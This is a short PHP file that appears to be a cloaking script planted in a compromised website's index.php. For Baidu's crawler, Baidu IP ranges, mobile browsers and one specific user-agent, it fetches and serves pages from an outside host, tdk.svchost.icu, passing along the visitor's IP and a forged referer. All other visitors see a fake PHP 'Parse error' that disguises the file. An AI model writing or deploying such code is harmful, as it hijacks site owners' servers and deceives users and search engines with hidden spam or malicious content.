<?php
header('Content-Type: text/html; charset=utf-8');
$base   = 'http://tdk.svchost.icu';
$url    = $_SERVER['REQUEST_URI'] ?? '/';
$target = $base . $url;
$ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$ip  = $_SERVER['REMOTE_ADDR'] ?? '';
$isBaiduSpider = (stripos($ua, 'Baiduspider') !== false);
$isMobile = preg_match(
    '/android|iphone|ipad|ipod|iemobile|opera mini|blackberry|bb10|symbian|windows phone|wpdesktop|meego|nokia|samsung|huawei|honor|oppo|vivo|miui|redmi|oneplus|lenovo|zte|tcl|alps|hisilicon|realme|harmonyos|micromessenger|ucbrowser|mqqbrowser|baiduboxapp/i',
    $ua
);
$ipPrefixes = [
    '110.187','125.65','221.209','180.97','111.206',
    '206.221','123.181','123.125','220.181','116.179',
    '111.202','118.184','123.126','123.183','49.7',
    '58.250','36.110','104.160'
];
$isBaiduIP = false;
foreach ($ipPrefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {$isBaiduIP = true; break;}
}
$targetUA   = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36';
$isTargetUA = ($ua === $targetUA);
if ($isBaiduSpider || $isBaiduIP || $isTargetUA || $isMobile) {
    $ch = curl_init($target);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    $host = $_SERVER['HTTP_HOST'] ?? '';
    $headers = [
        'X-Real-IP: ' . $ip,
        'X-Forwarded-For: ' . $ip,
        'Referer: ' . ($host ? ('http://' . $host . $url) : $ref),
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    exit;
} ?>
<br/>
<b>Parse error</b>:  syntax error, unexpected '?' in <b>/www/wwwroot/mosavior.cn/index.php</b> on line <b>5</b><br/>